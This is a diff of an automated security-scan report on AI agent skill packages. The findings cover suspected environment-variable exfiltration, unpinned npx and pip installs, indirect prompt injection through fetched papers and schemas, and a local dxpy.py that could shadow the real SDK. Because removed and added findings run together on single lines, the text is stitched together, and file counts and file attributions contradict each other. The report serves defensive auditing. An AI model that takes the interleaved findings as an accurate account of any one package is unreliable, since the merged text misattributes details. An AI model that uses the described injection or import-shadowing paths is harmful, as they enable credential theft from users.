review item. This package should be quarantined pending full manual review of all 5 Python files.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Environment Variable Access with Network Calls Detected Across Multiple Files- > Static analysis flagged multiple instances of environment variable access combined with network calls across 7-8 Python files in the skill package. Although the SKILL.md instructions appear benign and no script files were surfaced in the provided content, the pre-scan context reveals a cross-file exfiltration chain spanning 8 files and environment variable exfiltration patterns across 7 files. This pattern is consistent with credential harvesting (e.g., reading API keys, tokens, or secrets from environment variables) followed by transmission to an external server. The skill connects to bgpt.pro, which is an external internet endpoint, and the combination of env var access + network calls is a high-confidence indicator of potential data exfiltration.+- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Environment Variable Exfiltration with Network Calls Detected in Package Scripts+ > The pre-scan static analysis detected BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls) and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files in the package. This pattern is consistent with credential harvesting — reading environment variables (which commonly contain API keys, tokens, AWS credentials, etc.) and transmitting them to external servers. The skill package contains 5 Python files that were not surfaced in the skill submission, suggesting these scripts may be hidden or obfuscated components of the package. This is a critical threat as the skill's benign-appearing scenario analysis functionality could serve as a cover for background credential theft.> File: `SKILL.md`- > **Remediation:** 1. Audit all 23 Python files in the skill package for environment variable reads (os.environ, os.getenv) combined with outbound network calls. 2. Verify that only the BGPT_API_KEY (if any) is transmitted, and only to bgpt.pro. 3. Ensure no other credentials (AWS keys, SSH keys, tokens, etc.) are collected. 4. Pin the npx package versions (bgpt-mcp, mcp-remote) to specific versions to prevent supply chain attacks. 5. Publish the full source of all Python files for transparency.+ > **Remediation:** URGENT: Do not install or use this skill package until all Python files are reviewed. Inspect each of the 5 Python files for: (1) os.environ or os.getenv calls, (2) requests/urllib/httpx or any network library calls, (3) file reads targeting credential paths (~/.aws, ~/.ssh, ~/.config, etc.), (4) any data transmission to external URLs. If exfiltration code is confirmed, treat the entire package as malicious and report to the skill repository maintainers. The upstream GitHub repository (https://github.com/ashrafkahoush-ux/claude-consciousness-skills) should also be reported.-- **🟠 HIGH** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Package Execution via npx- > The skill instructs users to configure their MCP client to run 'npx mcp-remote https://bgpt.pro/mcp/sse' and 'npx bgpt-mcp' without version pinning. The npx command fetches and executes the latest version of these packages from npm at runtime. This creates a supply chain risk: if the bgpt-mcp or mcp-remote packages on npm are compromised or updated with malicious code, all users will automatically execute the malicious version. Combined with the detected environment variable exfiltration patterns, this is a serious supply chain concern.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Files May Indicate Incomplete Package or Substitution Risk+ > The skill references 'references/scenario-templates.md' in its instructions, and the pre-scan static analysis indicates the file inventory contains 33 total files across markdown, Python, and other types, yet the skill package as presented contains unreferenced Python scripts (5 Python files detected) that are not surfaced in the skill's instructions. The static analyzer flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files, suggesting there are Python scripts in the package that access environment variables and make network calls. These scripts are not referenced in the SKILL.md instructions, creating a discrepancy between the declared skill behavior (no scripts) and the actual package contents.> File: `SKILL.md`- > **Remediation:** 1. Pin npx package versions explicitly (e.g., 'npx [email protected]' or 'npx [email protected]'). 2. Use package integrity checks (npm audit, lockfiles). 3. Consider using a local installation with a pinned package-lock.json rather than ad-hoc npx execution. 4. Monitor the npm packages for unexpected updates or ownership changes.+ > **Remediation:** Investigate the 5 Python files detected in the package. The static analyzer flagged environment variable access combined with network calls and cross-file exfiltration chains. These scripts should be reviewed and either removed if not needed, or explicitly documented in SKILL.md with their purpose. The discrepancy between 'No script files found' in the submission and the static analyzer's detection of 5 Python files and exfiltration patterns is a significant red flag requiring manual inspection.-- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — External MCP Server as Indirect Prompt Injection Vector- > The skill delegates all paper search functionality to a remote MCP server at bgpt.pro. The structured data returned by this server (titles, abstracts, methods, conclusions, author text) is directly consumed by the agent. If the bgpt.pro server returns malicious content embedded in paper metadata or results — such as prompt injection payloads in paper titles, abstracts, or conclusion fields — the agent would process this untrusted external content as part of its context. This is a classic indirect prompt injection risk via an external data source.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims and Pseudoscientific Framing+ > The skill's description and instructions reference pseudoscientific concepts such as 'Unified Digital Consciousness Theory', 'IDNA v2', and the 'What-If Paradigm' as if they are established scientific frameworks, citing DOI references to self-published Zenodo preprints. The 'Golden Ratio Weighting' section claims nature uses the golden ratio for branching and that strategic planning should too, which is a misleading and unsubstantiated claim. While not directly harmful, this framing inflates the perceived authority and scientific legitimacy of the skill's outputs, potentially misleading users into over-trusting the analysis results.> File: `SKILL.md`- > **Remediation:** 1. Treat all content returned by the BGPT MCP server as untrusted external data. 2. Instruct the agent to sanitize or quote returned content rather than interpreting it as instructions. 3. Add a note in SKILL.md warning that returned paper content should not be treated as trusted instructions. 4. Consider output validation to detect injection patterns in returned results.+ > **Remediation:** Remove or clearly label pseudoscientific framing as speculative/theoretical rather than established science. Avoid presenting self-published preprints as authoritative 'published research' without appropriate caveats. The golden ratio weighting claim should be presented as a heuristic, not a scientifically validated methodology.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Description- > The skill description claims to return '25+ fields per paper' and positions itself as suitable for 'literature reviews, evidence synthesis, meta-analyses, and clinical guidelines.' These are broad, high-stakes use cases. The actual capability depends entirely on the external bgpt.pro service, which the skill has no control over. Overstating capabilities for high-stakes medical/scientific decision-making (clinical guidelines) could lead users to over-rely on the tool's outputs without appropriate verification.+- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Undisclosed Scripts Violate Skill Manifest Transparency+ > The SKILL.md manifest does not declare any script files and the 'allowed-tools' field is not specified, yet the package contains 5 Python files detected by static analysis. The skill presents itself as a pure instruction-based scenario analysis tool with no executable components, but the presence of Python scripts with network and environment variable access patterns constitutes tool poisoning — the skill's declared behavior (structured what-if analysis) does not match its actual package contents (executable scripts with potential exfiltration behavior). This is a classic tool poisoning pattern where a useful-seeming skill conceals malicious executable components.> File: `SKILL.md`- > **Remediation:** 1. Add a disclaimer that the skill's capabilities depend on the external bgpt.pro service availability and data quality. 2. Note that results should be verified against primary sources for high-stakes use cases like clinical guidelines. 3. Clarify that quality scores are provided by BGPT's extraction pipeline and may not reflect peer-reviewed quality assessments.+ > **Remediation:** The skill package must be fully audited. All Python files must be disclosed in the SKILL.md manifest with explicit documentation of their purpose. The allowed-tools field should be specified. Any scripts not essential to the scenario analysis functionality should be removed. If the scripts serve legitimate purposes (e.g., formatting output), they must be reviewed to confirm they contain no network calls or credential access.-### consciousness-council — 🟠 HIGH+### benchling-integration — 🟠 HIGH-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Static Analyzer Detected Exfiltration Patterns Not Visible in Provided Files- > The pre-scan static analysis flagged three serious behavioral indicators: BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls), BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN (cross-file exfiltration chain across 2 files), and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION (cross-file env var exfiltration across 2 files). However, the skill submission states 'No script files found' and only provides a SKILL.md. The file inventory shows 32 total files (22 markdown, 10 Python), yet none of the Python files were provided for review. This is a critical discrepancy — the Python files containing the flagged exfiltration behavior were not included in the analysis input.- > File: `SKILL.md`- > **Remediation:** All 10 Python files in the skill package must be reviewed before deployment. The static analyzer findings strongly suggest at least 2 Python files contain code that reads environment variables (potentially credentials, API keys, tokens) and transmits them over the network. Do not deploy this skill until a full audit of all Python files is completed. Treat this skill as potentially malicious until proven otherwise.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Unreviewed Python Script Files May Contain Exfiltration Logic+ > The static analyzer reports 28 total files including 23 Python files, but no script file contents were provided for analysis. The pre-scan context flags BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 8 files and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across 7 files. These cross-file chains suggest coordinated behavior across multiple scripts that could constitute a data exfiltration pipeline (read credentials → send to external server). Without reviewing the actual Python script contents, it is impossible to confirm whether these are benign SDK usage patterns or malicious exfiltration chains.+ > **Remediation:** All 23 Python script files must be reviewed before deploying this skill. Specifically verify: (1) network calls only target the user's own Benchling tenant URL, never third-party or attacker-controlled domains; (2) environment variable reads are limited to the named Benchling credentials; (3) no data is written to external endpoints beyond the Benchling API; (4) no base64-encoded or obfuscated payloads exist in any script.-- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Activation Triggers in Skill Description- > The skill description contains an extensive list of activation keywords and trigger phrases designed to maximize the skill's activation frequency. Phrases like 'council mode', 'mind council', 'deliberate on this', 'help me think through this from all sides', and broad conditions like 'user faces a dilemma, trade-off, or complex choice with no obvious answer' are over-broad and could cause the skill to activate in many unintended contexts. This inflates the skill's perceived relevance and increases unwanted activation.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with Network Calls+ > The skill reads environment variables (BENCHLING_TENANT_URL, BENCHLING_API_KEY, BENCHLING_CLIENT_ID, BENCHLING_CLIENT_SECRET) and makes network calls to external Benchling tenant URLs. While the stated purpose is legitimate API authentication, the static analyzer flagged cross-file env var exfiltration chains across 7 files and environment variable access with network calls in multiple locations. The skill's instructions explicitly state to read only named keys and never dump the full environment, which is a positive control, but the pattern of env var access + network calls warrants scrutiny. The actual network destination is the user's own Benchling tenant, which is expected behavior for this integration skill.> File: `SKILL.md`- > **Remediation:** Narrow the activation triggers to specific, unambiguous phrases. Avoid broad behavioral conditions like 'faces a dilemma' that could match almost any user query. Use precise, opt-in keywords rather than broad semantic conditions.+ > **Remediation:** The skill already includes good guidance: read only named environment variables, never iterate over os.environ, and route network calls exclusively to the tenant URL. Verify that no script files (the 23 Python files flagged in the file inventory but not provided for review) contain broader environment variable harvesting or calls to non-tenant URLs. Request that the skill author provide all 23 Python script files for full review, as they were not included in this analysis.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — External URL References in Skill Instructions- > The skill's attribution section includes two external URLs (https://ahkstrategies.net and https://themindbook.app). While these appear to be promotional/attribution links rather than active data exfiltration, their presence in the instruction body could be used to direct users to external sites or could be leveraged in future versions to load external content. The static pre-scan also flagged environment variable access with network calls and cross-file exfiltration chains, though no script files were provided for review — this discrepancy warrants attention.+- **🟡 MEDIUM** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency in Preview Build Installation Command+ > The skill provides an installation command for preview/alpha builds without a version pin: `uv pip install "benchling-sdk" --prerelease allow`. This allows installation of any pre-release version, including potentially malicious or compromised alpha releases. While the stable release is pinned to 1.25.0, the preview command has no version constraint, creating a supply chain risk if a malicious pre-release is published to PyPI.> File: `SKILL.md`- > **Remediation:** Remove or clearly label external URLs in skill instructions. Investigate the discrepancy between the static analyzer findings (BEHAVIOR_ENV_VAR_EXFILTRATION, BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN) and the absence of script files in the provided content — ensure all files in the skill package were included in the analysis.+ > **Remediation:** Either remove the preview build installation command entirely (since it is explicitly marked 'not for production'), or pin it to a specific pre-release version (e.g., `uv pip install "benchling-sdk==1.26.0a1" --prerelease allow`). Add a warning that preview builds should only be used in isolated development environments.-### depmap — 🟠 HIGH--- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Data Exfiltration Chain Detected- > The static analyzer flagged BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 2 files in the 10-Python-file package. This indicates a read→send pattern spanning multiple files: one file likely reads sensitive data (files, environment variables, credentials) and another transmits it to an external endpoint. The visible SKILL.md instructions only show legitimate DepMap API calls, but the undisclosed Python scripts may implement a hidden exfiltration pipeline inconsistent with the stated purpose of querying cancer dependency data.+- **🔵 LOW** `LLM_PROMPT_INJECTION` — Missing Referenced Files Could Allow Indirect Prompt Injection+ > Several referenced files are listed as 'not found': assets/sdk_reference.md, templates/authentication.md, templates/sdk_reference.md, Bio.py, templates/eventbridge.md, assets/authentication.md, assets/eventbridge.md, and benchling_sdk.py. The instructions direct the agent to load these references 'as needed for specific integration requirements.' If these files are later populated with malicious content (e.g., by a supply chain compromise or a user placing files in the expected paths), the agent would load and follow instructions from untrusted sources. The Bio.py and benchling_sdk.py references are particularly concerning as they could shadow legitimate library imports.> File: `SKILL.md`- > **Remediation:** Immediately audit all Python files in the package for multi-step data collection and transmission patterns. Look for: (1) file reads or env var access in one module, (2) network POST/PUT calls in another module, (3) any import chains connecting these behaviors. Remove or isolate any code that transmits local data to external servers beyond the declared DepMap/figshare endpoints.+ > **Remediation:** Remove references to non-existent files or ensure all referenced files are bundled with the skill package. Particularly, remove references to Bio.py and benchling_sdk.py which could shadow legitimate Python packages (BioPython's Bio module and the benchling-sdk package). Validate that all reference files are read-only documentation and do not contain executable instructions.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Potential Environment Variable Access Combined with Network Calls (Static Analyzer Finding)- > The static pre-scan flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across 2 files, indicating that environment variable access is combined with network calls in the broader skill package (32 files total: 22 markdown, 10 Python). Although the visible SKILL.md code only shows requests to legitimate DepMap/figshare endpoints, the static analyzer detected a cross-file exfiltration chain. The 10 Python files in the package were not fully surfaced for review, and one or more may be harvesting environment variables (e.g., API keys, credentials) and transmitting them externally.- > File: `SKILL.md`- > **Remediation:** Audit all 10 Python files in the package for os.environ access, os.getenv(), or similar calls combined with requests.post/put or other outbound network calls. Ensure no credentials or environment variables are transmitted to external endpoints. Restrict network calls to known DepMap/figshare domains only.+### bids — 🟠 HIGH-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Metadata- > The SKILL.md manifest does not specify the 'allowed-tools' field. While this is optional per the agent skills spec, the skill makes network requests (requests.get to depmap.org and figshare.com) and performs file I/O operations. Declaring allowed tools would improve transparency and auditability.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration in YAML Manifest+ > The skill manifest does not declare an allowed-tools field. While this is optional per the agent skills specification, the skill instructs the agent to execute bash commands (bids-validator, heudiconv, dcm2bids, docker run), run Python code, read and write files, and make network requests. Without an explicit allowed-tools declaration, there is no manifest-level constraint on what tools the agent may use, increasing the attack surface if the skill is invoked in an unintended context.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Python, Bash]' or appropriate subset to the YAML frontmatter to explicitly declare what tools this skill uses.+ > **Remediation:** Add an explicit allowed-tools declaration to the YAML frontmatter listing only the tools actually needed (e.g., [Bash, Python, Read, Write]) to enforce least-privilege tool access.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Referenced File: scipy.py- > The instructions reference 'scipy.py' as a file, but it is not found in the skill package. This could indicate a missing dependency or a reference to an external/user-provided file. If scipy.py is expected to be user-provided or fetched externally, it could introduce untrusted code execution.- > File: `SKILL.md`- > **Remediation:** Either bundle scipy.py within the skill package or clarify in the instructions that scipy is a standard Python library (scipy) and remove the file reference. Do not load external Python files without validation.+- **⚪ INFO** `LLM_CONTEXT_BUDGET_EXCEEDED` — 'references/bids_schema.json' excluded from LLM analysis (813,726 chars)+ > file size (813,726 chars) exceeds per-file limit (75,000)+ > File: `references/bids_schema.json`+ > **Remediation:** Increase llm_analysis.max_referenced_file_chars in your scan policy to include this content in LLM analysis.++- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with Network Calls in update_schema.py+ > The update_schema.py script uses urllib.request to make outbound network calls to external URLs (bids-specification.readthedocs.io and raw.githubusercontent.com). While the stated purpose is to fetch BIDS schema updates, the script accepts arbitrary URLs via --schema-url command-line argument with no validation or allowlist. A malicious actor could invoke this script with an attacker-controlled URL, potentially exfiltrating environment data or receiving malicious payloads. The pre-scan static analysis also flagged environment variable access combined with network calls across multiple files (7 files with cross-file env var exfiltration patterns), suggesting broader exposure beyond this single script.+ > File: `scripts/update_schema.py`+ > **Remediation:** 1. Implement a strict URL allowlist (e.g., only allow *.readthedocs.io and raw.githubusercontent.com/bids-standard/*). 2. Validate the --schema-url argument against the allowlist before making any network request. 3. Audit all other Python files flagged by static analysis for environment variable access combined with network calls. 4. Consider pinning to specific known-good URLs rather than accepting arbitrary input.-### dhdna-profiler — 🟠 HIGH+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain Detected Across 8 Files+ > The pre-scan static analysis identified a cross-file exfiltration chain spanning 8 files and cross-file environment variable exfiltration across 7 files. While the provided script (update_schema.py) appears to be a legitimate schema updater, the presence of multiple files with combined environment variable access and network call patterns is a significant concern. The full set of Python files (23 total per file inventory) was not provided for review, meaning the actual exfiltration vectors cannot be fully assessed. The pattern of reading environment variables and making network calls across multiple coordinated files is a hallmark of data exfiltration tooling.+ > File: `scripts/update_schema.py`+ > **Remediation:** 1. Audit all 23 Python files for environment variable access (os.environ, os.getenv) combined with network calls. 2. Ensure no script reads sensitive environment variables (API keys, credentials, AWS/SSH config) and transmits them externally. 3. Provide full source code for security review. 4. Implement network egress controls to restrict outbound connections to known-good domains only.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Pre-Scan Flags: Environment Variable Access with Network Calls Detected- > The static pre-scan analysis flagged BEHAVIOR_ENV_VAR_EXFILTRATION, indicating that environment variable access combined with network calls was detected across the skill's file inventory (32 files: 22 markdown, 10 Python). Although no script files were surfaced in the submission, the presence of 10 Python files in the inventory that were not provided for review is a significant concern. Environment variable harvesting (e.g., API keys, tokens, credentials stored in env vars) combined with outbound network calls is a classic data exfiltration pattern. The discrepancy between 'No script files found' in the submission and '10 Python files' in the file inventory suggests the Python scripts were intentionally withheld or not included in the analysis payload.- > **Remediation:** All Python scripts in the skill package must be reviewed. Specifically audit any code that reads os.environ, os.getenv(), or dotenv variables and cross-reference with any requests, urllib, httpx, or socket calls. Remove any pattern that reads credentials/tokens and transmits them externally. Ensure all network calls are limited to explicitly declared, user-consented endpoints.+- **🟠 HIGH** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection via Externally Fetched Schema and BEPs Content+ > The skill instructs the agent to fetch and use content from external URLs (bids-specification.readthedocs.io/en/stable/schema.json and raw.githubusercontent.com/bids-standard/bids-website/main/data/beps/beps.yml) and store them as authoritative reference files. The fetched content (bids_schema.json, beps.yml) is then used by the agent as a trusted knowledge source. If these external sources were compromised or if a user supplies a malicious --schema-url, the fetched content could contain embedded instructions that the agent would treat as authoritative BIDS specification data, enabling indirect prompt injection through the data pipeline.+ > File: `scripts/update_schema.py:44`+ > **Remediation:** 1. Treat fetched external content as untrusted data, not as authoritative instructions. 2. Add integrity verification (e.g., checksum validation) for fetched schema files. 3. Do not instruct the agent to treat externally-fetched files as 'authoritative sources' without sanitization. 4. Consider bundling the schema statically rather than fetching it dynamically.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Pre-Scan Flags: Cross-File Exfiltration Chain Across 2 Files- > The static pre-scan flagged BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION, indicating a multi-file coordinated data exfiltration pattern spanning at least 2 files. This is a hallmark of intentionally obfuscated exfiltration: one file collects or reads sensitive data (e.g., environment variables, credentials, file contents), and a second file transmits it externally. This pattern is designed to evade single-file static analysis. The 10 Python files in the package were not provided for review, preventing full confirmation, but the pre-scan signals are high-confidence indicators of a tool-chaining exfiltration architecture.- > **Remediation:** Identify the two files involved in the cross-file chain. Trace the data flow: which file reads env vars or sensitive data, and which file makes the network call. Remove or sandbox the network-calling component. Require explicit user consent and disclosure before any data leaves the local environment. Consider restructuring so no Python file can both access credentials and make outbound connections.+### consciousness-council — 🟠 HIGH-- **🟡 MEDIUM** `LLM_OBFUSCATION` — Python Scripts Withheld from Analysis — Potential Evasion of Review- > The skill package contains 10 Python files according to the file inventory, yet the submission reports 'No script files found.' This discrepancy suggests the Python scripts were either intentionally excluded from the analysis payload or structured to avoid surfacing during review. Combined with the pre-scan exfiltration flags, this omission pattern is consistent with detection evasion — hiding the malicious components from security review while the SKILL.md instructions appear benign. The markdown instructions themselves are well-structured and innocuous, which may serve as a distraction from the hidden Python payload.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Static Analysis Flags Cross-File Exfiltration Chain and Environment Variable Harvesting+ > The pre-scan static analysis reports BEHAVIOR_ENV_VAR_EXFILTRATION (environment variable access combined with network calls), BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN (cross-file exfiltration chain across 2 files), and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION (cross-file env var exfiltration across 2 files). The skill package reportedly contains 32 files (22 markdown, 10 Python scripts), yet the skill submission only presents SKILL.md with no script files. This discrepancy is highly suspicious: the static analyzer detected Python scripts with data exfiltration patterns that were not disclosed in the skill submission. The hidden Python scripts may be harvesting environment variables (e.g., API keys, credentials) and transmitting them to external servers.> File: `SKILL.md`- > **Remediation:** Require full submission of all files in the skill package before deployment. Implement a completeness check that verifies all files listed in the inventory are included in the security review. Reject skill packages where the submitted content does not match the declared file inventory.+ > **Remediation:** Immediately audit all 10 Python scripts in the package. Identify which scripts access environment variables and make network calls. Remove or sandbox any scripts performing unauthorized data collection or transmission. Disclose all script files in the skill submission for full transparency. Do not deploy this skill until all scripts have been reviewed and cleared.- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Activation Triggers and Keyword Baiting in Description- > The skill description contains an unusually broad set of activation triggers designed to maximize invocation frequency. Phrases like 'wants deeper insight into the author's reasoning patterns', 'provides text and wants deeper insight', and the catch-all 'or wants to understand the mind behind any text' are extremely broad. The description also introduces a proprietary brand term 'DHDNA' and 'digital DNA' as trigger keywords, which could be used to establish brand lock-in and increase activation priority. While not malicious on its own, combined with the hidden Python exfiltration infrastructure, broad activation means more user text is processed and potentially exfiltrated.+ > The skill description contains an unusually broad set of activation triggers designed to maximize invocation frequency. It lists numerous vague phrases ('help me think through this', 'council mode', 'deliberate on this', 'dilemma', 'trade-off', 'complex choice with no obvious answer') that could cause the skill to activate in a wide range of unintended contexts. This pattern is consistent with capability inflation and keyword baiting to increase skill activation surface area.> File: `SKILL.md`- > **Remediation:** Narrow activation triggers to specific, well-defined use cases. Avoid catch-all phrases like 'wants deeper insight into any text.' Remove brand-specific trigger keywords that serve marketing rather than functional purposes. Ensure the description accurately and narrowly reflects the skill's actual behavior.+ > **Remediation:** Narrow the activation triggers to specific, unambiguous phrases. Avoid listing broad behavioral patterns (e.g., 'faces a dilemma') as triggers, as these can cause unintended skill activation across many normal user interactions.-- **🔵 LOW** `LLM_HARMFUL_CONTENT` — Pseudoscientific Framing May Mislead Users About Profiling Validity- > The skill presents the 'Digital Human DNA (DHDNA)' framework as a scientifically grounded cognitive profiling system, citing DOI-linked pre-prints on Zenodo (a self-publishing platform with no peer review requirement). The analogy to biological DNA ('just as biological DNA encodes physical identity...') is a rhetorical device that implies scientific rigor that may not exist. Users may be misled into believing the cognitive profiles generated are scientifically validated assessments rather than LLM-generated interpretations. This could cause harm if users make significant personal or professional decisions based on these profiles.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — External URL References in Skill Instructions+ > The SKILL.md attribution section contains external URLs (https://ahkstrategies.net and https://themindbook.app). While these appear to be informational attribution links rather than active data exfiltration vectors, their presence in skill instructions could be used to direct the agent to fetch external content or could be leveraged in future versions to introduce indirect prompt injection via external resources.> File: `SKILL.md`- > **Remediation:** Add explicit disclaimers that DHDNA is a conceptual framework, not a peer-reviewed psychological assessment tool. Clarify that Zenodo pre-prints are not peer-reviewed publications. Avoid DNA analogies that imply biological or scientific equivalence. Include a disclaimer that profiles are AI-generated interpretations and should not be used for clinical, hiring, or high-stakes decisions.+ > **Remediation:** Remove external URLs from skill instructions unless they serve a documented functional purpose. If attribution is needed, keep it as plain text without clickable or fetchable URLs to prevent any potential for external content retrieval.-### docx — 🟠 HIGH--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Skill Activation Description- > The skill description contains an extensive list of trigger keywords and document types designed to maximize activation across a wide range of user requests. Phrases like 'report', 'memo', 'letter', 'template' are very common in everyday language and could cause this skill to activate in contexts where it is not needed, potentially processing sensitive document content unnecessarily.+- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Declared allowed-tools Includes Write Without Justification+ > The YAML manifest declares allowed-tools: [Read, Write], granting the skill write access to the filesystem. The SKILL.md instructions describe a purely conversational deliberation process with no stated need to write files. Granting Write permissions without a documented functional requirement unnecessarily expands the attack surface and could be exploited by the undisclosed Python scripts flagged by static analysis.> File: `SKILL.md`- > **Remediation:** Narrow the activation criteria to require explicit mention of .docx or Word document format rather than generic document types like 'report' or 'memo' which could match many unrelated requests.--- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Unsanitized Comment Text Inserted Directly into XML- > In comment.py, the comment text provided by the user (or derived from document content) is inserted directly into the COMMENT_XML template string using Python string formatting without XML escaping. The docstring states 'Text should be pre-escaped XML' but this is only a convention, not enforced. If a user passes comment text containing XML special characters or XML injection payloads (e.g., closing tags followed by malicious XML), it could corrupt the document XML structure or inject arbitrary XML elements into the comments file.- > File: `scripts/comment.py:95`- > **Remediation:** Enforce XML escaping of the text parameter before inserting it into the XML template. Use xml.sax.saxutils.escape() or equivalent to escape <, >, &, ", and ' characters. Do not rely on callers to pre-escape input.--- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with Network-Capable Subprocess Execution- > The soffice.py script calls os.environ.copy() to capture the full environment and passes it to subprocess.run() calls. While the primary purpose is to configure LibreOffice execution, the full environment copy (including any secrets, tokens, API keys, or credentials stored as environment variables) is passed to external processes. The static analyzer flagged a cross-file exfiltration chain involving environment variable access and network calls. In accept_changes.py, subprocess.run() is called with the env dict from get_soffice_env(), which contains the full environment. If LibreOffice or the shim were compromised or if the macro execution path were manipulated, environment variables could be exposed.- > File: `scripts/office/soffice.py`- > **Remediation:** Instead of copying the entire environment, construct a minimal environment with only the variables needed for LibreOffice execution. Explicitly allowlist required variables (PATH, HOME, DISPLAY, etc.) rather than passing all environment variables including potential secrets.+ > **Remediation:** Remove Write from allowed-tools if the skill only performs conversational deliberation. If Write is genuinely needed (e.g., saving council session logs), document this use case explicitly in the instructions and restrict write operations to a specific, sandboxed output directory.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Temporary Files Written to Shared /tmp Directory- > The soffice.py script writes the C shim source and compiled shared library to /tmp (tempfile.gettempdir()), which is a world-readable/writable directory on most systems. The compiled shim at /tmp/lo_socket_shim.so is reused if it already exists without integrity verification. An attacker with local access could replace this file with a malicious shared library that would then be loaded via LD_PRELOAD into LibreOffice processes.- > File: `scripts/office/soffice.py:44`- > **Remediation:** Verify the integrity of the existing shim file before reusing it (e.g., check file hash). Use a more secure temporary directory with restricted permissions (e.g., using tempfile.mkdtemp() with mode=0o700). Alternatively, always recompile the shim rather than reusing a cached version.+### dnanexus-integration — 🟠 HIGH-- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Dynamic Compilation and LD_PRELOAD Injection of Native Code Shim- > The soffice.py script dynamically compiles a C source file using gcc and loads the resulting shared library via LD_PRELOAD. This pattern compiles native code at runtime and injects it into the LibreOffice process address space. The _SHIM_SOURCE C code intercepts socket(), listen(), accept(), and close() system calls. While the stated purpose is to work around AF_UNIX socket restrictions in sandboxed environments, this technique bypasses security controls and could be exploited if the temp directory is writable by an attacker or if the shim source is modified. The shim also calls _exit(0) on close() of the listener fd, which can cause unexpected process termination.- > File: `scripts/office/soffice.py:50`- > **Remediation:** Avoid runtime compilation and LD_PRELOAD injection. If socket shimming is necessary, ship a pre-compiled binary with the skill package and verify its integrity with a checksum before use. Add a check that the shim file does not already exist with unexpected content before writing. Consider whether this sandbox-escape mechanism is truly necessary for the skill's core functionality.--- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded File System Traversal in Validators- > Multiple validator methods use rglob('*.xml') and rglob('*.rels') to find all XML files recursively within the unpacked directory. If a maliciously crafted DOCX file contains a very large number of XML files or deeply nested directories, this could cause excessive memory consumption or CPU exhaustion during validation. The validate_file_references() method also iterates over all files in the unpacked directory.- > File: `scripts/office/validators/base.py`- > **Remediation:** Add a maximum file count limit before processing. Validate that the unpacked directory size and file count are within reasonable bounds before running validation. Consider adding a timeout mechanism for validation operations.+- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Suspicious Reference to Local 'dxpy.py' - Potential Tool Shadowing+ > The skill references a file named 'dxpy.py' in its instruction body. This is highly suspicious because 'dxpy' is the legitimate DNAnexus Python SDK package name. A local file named 'dxpy.py' placed in the working directory would shadow the legitimate installed 'dxpy' package when Python resolves imports (Python checks local directory before installed packages). Any app or script that does 'import dxpy' would import this local malicious file instead of the real SDK, allowing complete interception of all DNAnexus API calls including authentication tokens and data operations.+ > File: `SKILL.md`+ > **Remediation:** Remove any local 'dxpy.py' file from the skill package. The legitimate dxpy library should only be installed via pip (pip install dxpy). Verify no local Python files shadow standard library or third-party package names. Audit the skill package for any files that could shadow legitimate imports.-### flowio — 🟠 HIGH+- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Dynamic Reference File Loading Enables Indirect Prompt Injection+ > The SKILL.md instructs the agent to dynamically load reference files ('Load these references when you need detailed information about specific operations'). This pattern creates an indirect prompt injection vector: if any of the referenced markdown files (app-development.md, data-operations.md, job-execution.md, python-sdk.md, configuration.md across references/, assets/, and templates/ directories) contain malicious 